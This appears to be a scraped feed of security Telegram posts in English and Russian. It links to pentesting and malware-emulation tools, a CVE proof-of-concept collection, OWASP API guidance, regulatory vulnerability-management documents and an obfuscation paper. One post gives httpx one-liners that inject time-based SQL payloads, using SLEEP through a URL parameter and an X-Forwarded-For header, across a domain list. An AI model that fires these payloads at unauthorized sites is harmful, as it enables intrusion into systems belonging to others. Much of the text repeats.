Forwarded from HackGit
al-khaser
A PoC "malware" application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar.
https://github.com/LordNoteworthy/al-khaser
#malware #infosec #pentesting
A PoC "malware" application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar.
https://github.com/LordNoteworthy/al-khaser
#malware #infosec #pentesting
Forwarded from HackGit
DIANA
Credential Recovery Framework.
https://github.com/tijldeneut/diana
#infosec #pentesting #redteam
Credential Recovery Framework.
https://github.com/tijldeneut/diana
#infosec #pentesting #redteam
Forwarded from Cybred
Репозиторий с огромным списком PoC'ов для многих CVE, начиная с 2008 года https://github.com/nomi-sec/PoC-in-GitHub.
Автонаполняемый, существует отдельный сайт https://poc-in-github.motikan2010.net/.
Автонаполняемый, существует отдельный сайт https://poc-in-github.motikan2010.net/.
GitHub
GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.
📡 PoC auto collect from GitHub. ⚠️ Be careful Malware. - nomi-sec/PoC-in-GitHub
Forwarded from HackGit
ReconBulk
Automated Subdomain Enumeration and Scanning Tool
This script automates the process of subdomain enumeration and scanning using several popular open-source tools, combining their results and providing detailed output. The primary purpose of this tool is to simplify and streamline the process of discovering subdomains and their related information for a given domain.
https://github.com/TaurusOmar/reconbulk
#infosec #pentesting #bugbounty
Automated Subdomain Enumeration and Scanning Tool
This script automates the process of subdomain enumeration and scanning using several popular open-source tools, combining their results and providing detailed output. The primary purpose of this tool is to simplify and streamline the process of discovering subdomains and their related information for a given domain.
https://github.com/TaurusOmar/reconbulk
#infosec #pentesting #bugbounty
Forwarded from HackGit
s3cXSSer
This extension will help you to detect GET/POST based XSS vulnerability in any website easily.
https://github.com/s3c-krd/s3cXSSer
#infosec #pentesting #bugbounty
This extension will help you to detect GET/POST based XSS vulnerability in any website easily.
https://github.com/s3c-krd/s3cXSSer
#infosec #pentesting #bugbounty
OWASP API Security Top 10 2023
https://github.com/OWASP/API-Security/tree/master/2023/en/src
https://github.com/OWASP/API-Security/tree/master/2023/en/src
Forwarded from SHADOW:Group
Когда нужно проверить список доменов на Time-Based уязвимости и лень писать шаблон для Nuclei, можно заюзать httpx с параметрами
-timeout, для указания максимального таймаута и -mrt, для вывода только результатов с определенной задержкой.cat web.list | httpx -silent -path '/sitemap.xml?offset=1%3bSELECT%20IF((8303%3E8302)%2cSLEEP(10)%2c2356)%23' -rt -timeout 20 -mrt '>10'
Аналогично, для заголовков:cat web.list | httpx -silent -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(10),0))OR" -rt -timeout 20 -mrt '>10'
#web #sqli #tools #rcePlease open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from The Bug Bounty Hunter
SpiderSuite
Advance web spider/crawler for cyber security professionals
https://github.com/3nock/SpiderSuite
Advance web spider/crawler for cyber security professionals
https://github.com/3nock/SpiderSuite
GitHub
GitHub - spidersuite/SpiderSuite: SpiderSuite (web security crawler) releases, wiki and roadmap
SpiderSuite (web security crawler) releases, wiki and roadmap - spidersuite/SpiderSuite
Forwarded from Linux и Линус
Создатель LLVM развивает новый язык программирования Mojo
Крис Латнер (Chris Lattner), основатель и главный архитектор LLVM, а также создатель языка программирования Swift, и Тим Дэвис (Tim Davis), бывший руководитель AI-проектов Google, таких как Tensorflow и JAX, представили новый язык программирования Mojo, сочетающий простоту применения для исследовательских разработок и быстрого создания прототипов с пригодностью для формирования высокопроизводительных конечных продуктов. Первое достигается благодаря использованию привычного синтаксиса языка Python, а второе за счёт возможности компиляции в машинный код, механизмов безопасной работы с памятью и задействованию средств для аппаратного ускорения вычислений.
Читать: https://www.opennet.ru/opennews/art.shtml?num=59094
Крис Латнер (Chris Lattner), основатель и главный архитектор LLVM, а также создатель языка программирования Swift, и Тим Дэвис (Tim Davis), бывший руководитель AI-проектов Google, таких как Tensorflow и JAX, представили новый язык программирования Mojo, сочетающий простоту применения для исследовательских разработок и быстрого создания прототипов с пригодностью для формирования высокопроизводительных конечных продуктов. Первое достигается благодаря использованию привычного синтаксиса языка Python, а второе за счёт возможности компиляции в машинный код, механизмов безопасной работы с памятью и задействованию средств для аппаратного ускорения вычислений.
Читать: https://www.opennet.ru/opennews/art.shtml?num=59094
Forwarded from Управление Уязвимостями и прочее
Методические документы регуляторов связанные с Управлением Уязвимостями. В презентации, которую я сейчас готовлю к ISCRA Talks, будет слайд про документы регуляторов связанные с VM-ом, выпущенные за последние 1,5 года. Если я что-то важное пропустил, напишите мне, пожалуйста, в личку или комментом в пост в ВК.
1. НКЦКИ "Критерии для принятия решения по обновлению критичного ПО, не относящегося к open-source". Рекомендательный алгоритм, помогающий принять решение: установить обновление с риском привнести НДВ (недекларированные возможности)/блокировку функциональности или не обновлять с риском получить эксплуатацию уязвимости. Этого алгоритма я касался в выступлении на PHDays 11 и писал скрипты автоматизации проверок по нему в рамках опенсурсного проекта Monreal.
2. ФСТЭК "Методика оценки уровня критичности уязвимостей программных, программно-аппаратных средств". Описывает каким образом можно получить общую оценку критичности уязвимости и выставить требования по оперативности исправления. Я писал комментарии по этой методике.
3. ФСТЭК "Методика тестирования обновлений безопасности программных, программно-аппаратных средств". Описывает какими способами искать НДВ в обновлениях безопасности. Мои комментарии к этой методике: Часть 1, Часть 2, Часть 3.
4. ФСТЭК "Рекомендации по безопасной настройке операционных систем Linux". Рекомендации распространяются на настройку НЕсертифицированных ОС (Debian, Ubuntu, CentOS Stream, Alma Linux, Rocky Linux, openSUSE и прочего) "до их замены на сертифицированные отечественные операционные системы". Я разбирал эти рекомендации.
5. ФСТЭК "Руководство по управлению уязвимостями программного обеспечения и программно-аппаратных средств в органе (организации)" (проект). Подробное описание этапов процесса, участников процесса и выполняемых ими операций. Я написал комментарии к этому проекту руководства "процесс не для человеков" и "место автоматического детектирования уязвимостей".
@avleonovrus #FSTEC #ФСТЭК #НКЦКИ #VMprocess #Методика
1. НКЦКИ "Критерии для принятия решения по обновлению критичного ПО, не относящегося к open-source". Рекомендательный алгоритм, помогающий принять решение: установить обновление с риском привнести НДВ (недекларированные возможности)/блокировку функциональности или не обновлять с риском получить эксплуатацию уязвимости. Этого алгоритма я касался в выступлении на PHDays 11 и писал скрипты автоматизации проверок по нему в рамках опенсурсного проекта Monreal.
2. ФСТЭК "Методика оценки уровня критичности уязвимостей программных, программно-аппаратных средств". Описывает каким образом можно получить общую оценку критичности уязвимости и выставить требования по оперативности исправления. Я писал комментарии по этой методике.
3. ФСТЭК "Методика тестирования обновлений безопасности программных, программно-аппаратных средств". Описывает какими способами искать НДВ в обновлениях безопасности. Мои комментарии к этой методике: Часть 1, Часть 2, Часть 3.
4. ФСТЭК "Рекомендации по безопасной настройке операционных систем Linux". Рекомендации распространяются на настройку НЕсертифицированных ОС (Debian, Ubuntu, CentOS Stream, Alma Linux, Rocky Linux, openSUSE и прочего) "до их замены на сертифицированные отечественные операционные системы". Я разбирал эти рекомендации.
5. ФСТЭК "Руководство по управлению уязвимостями программного обеспечения и программно-аппаратных средств в органе (организации)" (проект). Подробное описание этапов процесса, участников процесса и выполняемых ими операций. Я написал комментарии к этому проекту руководства "процесс не для человеков" и "место автоматического детектирования уязвимостей".
@avleonovrus #FSTEC #ФСТЭК #НКЦКИ #VMprocess #Методика
👍2
Forwarded from РевЁрсинг_боль.жпг
LO! LLVM Obfuscator.pdf
1.3 MB
Обфусцируешь бинари через lief и сорцы?
Значит будет полезно!
Кореш подсказал, что оказывается есть возможность обфусцировать в compile-time(афтор не тупой и знал про существование таких штук как ollvm, но не углублялся).
Ну и в добавок кинул весьма неплохой материал для вката (а то ходют всякие и позорютсо обфускацией через двойной xor).
src: Arsenii es3n1n
#книги #кибербуллим_нормис_ревёрсеров #полезное
Значит будет полезно!
Кореш подсказал, что оказывается есть возможность обфусцировать в compile-time(афтор не тупой и знал про существование таких штук как ollvm, но не углублялся).
Ну и в добавок кинул весьма неплохой материал для вката (а то ходют всякие и позорютсо обфускацией через двойной xor).
src: Arsenii es3n1n
#книги #кибербуллим_нормис_ревёрсеров #полезное